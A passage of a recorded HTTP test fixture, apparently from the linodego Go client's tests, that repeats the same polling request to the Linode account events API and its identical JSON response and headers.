'{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - '{"+order":"desc","+order_by":"created","action":"linode_create","created":{"+gte":"2018-01-02T03:04:05"},"entity.id":49044775,"entity.type":"linode","id":{"+gte":550288100}}' url: https://api.linode.com/v4beta/account/events?page=1 method: GET response: body: '{"data": [{"id": 550288100, "created": "2018-01-02T03:04:05", "seen": false, "read": false, "percent_complete": 0, "time_remaining": null, "rate": null, "duration": null, "action": "linode_create", "username": "lgarber-dev", "entity": {"label": "go-test-ins-wo-disk-5j99m3hj2s1q", "id": 49044775, "type": "linode", "url": "/v4/linode/instances/49044775"}, "status": "scheduled", "secondary_entity": null, "message": ""}], "page": 1, "pages": 1, "results": 1}' headers: Access-Control-Allow-Credentials: - "true" Access-Control-Allow-Headers: - Authorization, Origin, X-Requested-With, Content-Type, Accept, X-Filter Access-Control-Allow-Methods: - HEAD, GET, OPTIONS, POST, PUT, DELETE Access-Control-Allow-Origin: - '*' Access-Control-Expose-Headers: - X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Status Cache-Control: - private, max-age=0, s-maxage=0, no-cache, no-store - private, max-age=60, s-maxage=60 Content-Length: - "458" Content-Security-Policy: - default-src 'none' Content-Type: - application/json Server: - nginx Strict-Transport-Security: - max-age=31536000 Vary: - Authorization, X-Filter - Authorization, X-Filter X-Accepted-Oauth-Scopes: - events:read_only X-Content-Type-Options: - nosniff X-Frame-Options: - DENY - DENY X-Oauth-Scopes: - '*' X-Ratelimit-Limit: - "800" X-Xss-Protection: - 1; mode=block status: 200 OK code: 200 duration: "" - request: body: "" form: {} headers: Accept: - application/json Content-Type: - application/json User-Agent: - linodego/dev https://github.com/linode/linodego X-Filter: - 